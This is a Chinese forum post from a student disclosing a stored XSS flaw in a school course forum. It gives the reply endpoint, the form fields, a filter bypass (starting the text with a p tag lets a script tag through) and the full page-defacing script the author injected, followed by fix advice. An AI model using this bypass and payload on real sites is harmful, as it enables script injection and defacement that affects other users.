本帖最后由 jidesheng6 于 2020-3-20 19:13 编辑
漏洞的成因
也不知道算不算漏洞,就是一个XSS攻击,请大佬指正
- 这个漏洞是因为在提交讨论信息的时候,为了不实现自动换行,程序员直接从用户提交的文本里面加上p标签和br标签导致的
- 如果直接直接提交恶意代码,是被禁止的,但是因为它的p标签是允许的,个人猜测是只检测开头是不是p标签,导致被利用的
实战利用
-
主要分析有如下几步:
- 当前页面的DOM结构分析
- 提交的URL地址
- 提交的中的参数
-
首先来看看讨论的地址:
-
forumdiscussion/title?forumDiscussionId=bb1b974ab5be4ccc889da292ed625417&courseVersionId=8398e23855d44cbdbe60109e52e54121&forumDetailFlag=1
-
上面的DiscussionID和courseversioionID是我们需要记下来的
-
-
提交讨论回复的接口
-
forumdiscussion/insertReplies?forumDiscussionId=1ee176964bcd4bd3830b040e4c2a2355&courseVersionId=8398e23855d44cbdbe60109e52e54121
-
提交方法:POST
-
提交表单如下:
-
richText:这里提交用户填入的文本 postAttachment:无内容 message:这里是经过处理的文本,要展示在讨论的页面中,会带有<p>和<br>标签,如果不带页面在外面看着就会排版错乱,估计这就是他们为啥要带标签提交吧
-
还需要携带用户Cookie一起提交给服务器
-
-
浏览器中讨论页面学生答案的DOM结构
-
<span class="message"> <p>1、楚怀王<br></p> <p>2、靠海,盐比较多;江苏盐城湿地珍禽国家级自然保护区 江苏大丰麋鹿国家级自然保护区。</p> </span>
-
p标签和br标签都是提交的时候自动存在的,是把学生输入信息处理以后带标签上传展示
-
经过多次试验,如果只携带script标签服务器会提示禁止,但是如果加入p标签在开头,再输入script标签就不会提示禁止,且根据浏览器的容错性,script标签只要输入一个就可以了,请看下面我提交以后的DOM结构
-
<span class="message"> <p>本站存在XSS注入漏洞,评论上方会出现一个熊猫头表情包以及带链接的文字,请尽快修复 <script id="0ad4f5d4ed8244fa8830deb4460e04281584694088000"> var m=document.getElementById("titleForum"); var p = document.createElement("img"); m.append(p);p.style="height:400px"; p.src=''; var c = document.createElement("a"); m.append(c); c.text="本站存在XSS漏洞,现已注入"; c.style='font-size:70px'; c.href=''; var o=document.getElementById("title"); o.remove(); var i = $(".issuerLocation"); i[0].remove(); var n = $("#forumMessage"); n.remove(); $("#replys").remove(); $(".timeLine")[0].remove(); var e=$("#courseheadTab"); e.html("<div style=font-size:35px;color:red;text-align:center>本站已经被XSS脚本注入攻击请及时修复</div>"); </script> </p> </span>
-
所以只要学生打开这个页面脚本就会加载修改当前页面的内容
-
这个应该是存储型XSS还是DOM型我也不清楚,因为只要我删除了这个回复,页面就可以正常显示,还请大佬指点,嘿嘿
结语
我没有对学校网站进行任何破坏性操作,评论删除页面都会恢复的,给两个图看一下提交后的结果
- 0x01
-
- 0x02
-
修复建议:应该对整个文本进行有无script标签检测,或者把提交过去的标签进行HTML实体转义。
不过我感觉我们学校根本不会管这个,我就发到这里来记录一下
-